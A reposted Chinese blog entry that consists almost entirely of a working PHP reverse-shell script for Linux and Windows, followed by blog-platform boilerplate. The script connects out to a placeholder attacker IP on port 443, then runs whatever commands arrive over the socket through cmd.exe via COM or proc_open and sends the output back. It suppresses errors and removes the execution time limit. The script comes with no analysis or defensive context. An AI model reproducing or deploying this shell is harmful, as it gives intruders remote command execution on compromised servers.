PHP反弹脚本 Linux/Windows两用

<?php
    error_reporting (E_ERROR);
    ignore_user_abort(true);
    ini_set('max_execution_time',0);
    $ipaddr = 'xxx.xxx.xxx.xxx';
    $port = '443';
    $msg = php_uname()."\n------------Code by Spider-------------\n";
    $cwd = getcwd();
     
    function procopen($cmd,$env,$sock) {
    global $cwd;
    $descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
    $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
    if (is_resource($process)) {
    fwrite($pipes[0],$cmd);
    fclose($pipes[0]);
    $msg = stream_get_contents($pipes[1]);
    fwrite($sock,$msg);
    fclose($pipes[1]);
    $msg = stream_get_contents($pipes[2]);
    fwrite($sock,$msg);
    fclose($pipes[2]);
    proc_close($process);
    }
    return true;
    }
     
    function command($cmd,$sock) {
    if(substr(PHP_OS,0,3) == 'WIN') {
    $wscript = new COM("Wscript.Shell");
    if($wscript && (!stristr(get_cfg_var("disable_classes"),'COM'))) {
    $exec = $wscript->exec('c:\\windows\\system32\\cmd.exe /c '.$cmd); //自定义CMD路径
    $stdout = $exec->StdOut();
    $stroutput = $stdout->ReadAll();
    fwrite($sock,$stroutput);
    } else {
    $env = array('path' => 'c:\\windows\\system32');
    procopen($cmd,$env,$sock);
    }
    } else {
    $env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
    procopen($cmd,$env,$sock);
    }
    return true;
    }
     
    $sock = fsockopen($ipaddr,$port);
    fwrite($sock,$msg);
    while ($cmd = fread($sock,1024)) {
    if (substr($cmd,0,3) == 'cd ') {
    $cwd = trim(substr($cmd,3,-1));
    chdir($cwd);
    $cwd = getcwd();
    }
    if (trim(strtolower($cmd)) == 'exit') {
    echo 'logout!';
    break;
    } else {
    command($cmd,$sock);
    }
    }
    fclose($sock);
    ?>

转载于:https://my.oschina.net/chinahermit/blog/144035

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值